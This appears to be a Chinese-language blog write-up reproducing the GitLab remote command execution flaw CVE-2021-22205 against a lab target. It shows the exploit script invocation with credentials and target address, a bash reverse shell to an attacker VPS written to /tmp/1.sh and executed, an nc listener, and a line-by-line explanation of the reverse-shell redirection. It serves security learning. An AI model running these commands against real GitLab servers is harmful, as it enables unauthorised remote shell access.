CVE-2021-22205 Gitlab远程命令执行漏洞复现
0x01
影响范围:Gitlab
version < 13.10.3
漏洞原理:https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
0x02
开始复现
首先下载Exp,开始准备复现
打开靶机
登录进去,账号为root 密码为admin123
启动vps与nc监听端口
python3.8 cve-2021-22205.py -u root -p admin123 -t http://118.193.36.37:25856 -c "echo 'bash -i >& /dev/tcp/vps的IP地址/7777 0>&1' > /tmp/1.sh"
解疑 ”bash -i >& /dev/tcp/IP/PORT 0>&1”
bash -i Linux中一般默认的shell是bash,bash可以覆盖shell的一切功能 (通俗点 bash包含执行shell但bash的功能大于shell)
带个 -i 就是打开一个交互型的bash
标准输入(stdin): 代码为 0 使用 < 或 << 默认设备键盘
标准输出(stdout): 代码为 1 使用 > 或 >> 默认设备显示器
标准错误输出(stderr): 代码为 2 使用 2> 或 2>> 默认设备显示器
bash -i 打开bash
>&后面跟 /dev/tcp/[ip]/[port] (相当于>&后面接文件)将bash的标准输出和标准错误输出传递到远程。
0>&1将标准输入重定向至标准输出,由于标准输出定向至远程,标准输入也借此定向到远程。(由于标准错误输出也定向至远程,因此把 0>&1 改为 0>&2 也可以得到一个交互shell)
开始进行操作
首先创建1.sh文件,将标准输出与输入都发到远程显示
使用chmod +x 来为1.sh赋权
/bin/bash来执行1.sh
nc -lnvp 7777监听端口,成功getshell
0x03
至此,对CVE-2021-22205的漏洞复现结束
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15484026.html